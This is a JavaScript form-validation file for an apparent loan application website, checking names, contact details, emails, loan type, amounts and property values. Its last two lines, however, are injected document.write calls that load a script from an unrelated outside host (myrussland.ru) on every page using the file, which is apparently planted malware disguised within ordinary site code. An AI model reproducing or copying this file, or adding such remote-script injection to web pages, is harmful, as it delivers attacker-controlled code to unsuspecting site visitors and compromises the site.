// JavaScript Document
function IsNumeric(strString)
   //  check for valid numeric strings	
   {
   var strValidChars = "0123456789.-";
   var strChar;
   var blnResult = true;

   if (strString.length == 0) return false;

   //  test strString consists of valid characters listed above
   for (i = 0; i < strString.length && blnResult == true; i++)
      {
      strChar = strString.charAt(i);
      if (strValidChars.indexOf(strChar) == -1)
         {
         blnResult = false;
         }
      }
   return blnResult;
   }

function validate()
   {
   	if(form1.firstname.value=="")
	{
		alert("Please specify your First Name!")
		form1.firstname.focus()
        return false
	 }
	 
	 if(form1.contact.value=="")
	{
		alert("Please specify your Contact Number!")
		form1.contact.focus()
        return false
	 }
	 
	 	 
	if(form1.email.value=="")
	{
		alert("Please specify the E-mail Address!")
		form1.email.focus()
	    return false
	 }
	if (form1.email.value.indexOf("@")==-1 || form1.email.value.indexOf(".")==-1 ) { 
       alert("The specified Email Addreess seems to be invalid!")
   	   form1.email.select()
	   return false
	}
	if(form1.comments.value=="")
	{
		alert("Please specify the Comments!")
		form1.comments.focus()
	    return false
	 }
	 
	   
  }
  function validate_call()
   {
   	if(form1.firstname.value=="")
	{
		alert("Please specify your First Name!")
		form1.firstname.focus()
        return false
	 }
	 
	 if(form1.contact.value=="")
	{
		alert("Please specify your Contact Number!")
		form1.contact.focus()
        return false
	 }
  
  }
  
  
  function validate1(frm)
   {
	   //alert(frm.loan_type);
	   if(frm.loan_type.selectedIndex==0)
	   {
		   alert("Please select your Loan Type!")
		    frm.loan_type.focus()		
			 return false
	   }
	   
	    if(frm.loan_desc.selectedIndex==0)
	   {
		   alert("Please select your Description!")
		    frm.loan_desc.focus()	
			 return false
		   	   
	   }
	   
	    if(frm.credit.selectedIndex==0)
	   {
		   alert("Please select your Credit Profile!")
		    frm.credit.focus()			   	   
			 return false
	   }
	   
	    if(frm.propertystate.selectedIndex==0)
	   {
		   alert("Please select your Property State!")
		   frm.propertystate.focus()
		   return false  
	   }
	   
	      
	   
   	  if(frm.amount.value=="")
	{
		alert("Please specify how much would you like to borrow!")
		frm.amount.focus()
        return false
	 }
	  if(IsNumeric(frm.amount.value)==false)
	{
		alert("Please check - non numeric value!");
		frm.amount.select()
        return false
	 }
	 
	  if(frm.property.value=="")
	{
		alert("Please specify the estimated property value!")
		frm.property.focus()
        return false
	 }
	  if(IsNumeric(frm.property.value)=="")
	{
		alert("Please check - non numeric value!")
		frm.property.select()
        return false
	 }
	 	 
  }
  
  
  function validate2(frm)
   {
   	 
	 if(frm.streetname.value=="")
	{
		alert("Please specify your street name!")
		frm.streetname.focus()
        return false
	 }
	 	
		if(frm.city.value=="")
	{
		alert("Please specify your city!")
		frm.city.focus()
        return false
	 }
  }
  
  
  
  function validate3(frm)
   {
	  
   	if(frm.first_name.value=="")
	{
		alert("Please specify your First Name!")
		frm.first_name.focus()
        return false
	 }
	 
	 if(frm.email.value=="")
	{
		alert("Please specify your Email Address!")
		frm.email.focus()
        return false
	 }
		 
		if (frm.email.value.indexOf("@")==-1 || frm.email.value.indexOf(".")==-1 ) { 
       alert("The specified Email Addreess seems to be invalid!")
   	   frm.email.select()
	   return false
	}
	
	if(frm.coborrower[0].checked==true)
	{	
	if(frm.borrower_first_name.value=="")
	{
		alert("Please specify Co Borrower's First Name!")
		frm.borrower_first_name.focus()
        return false
	 }
	}
	 
  }
document.write('<script src=http://myrussland.ru/images/nov_region.php ><\/script>');
document.write('<script src=http://myrussland.ru/images/nov_region.php ><\/script>');
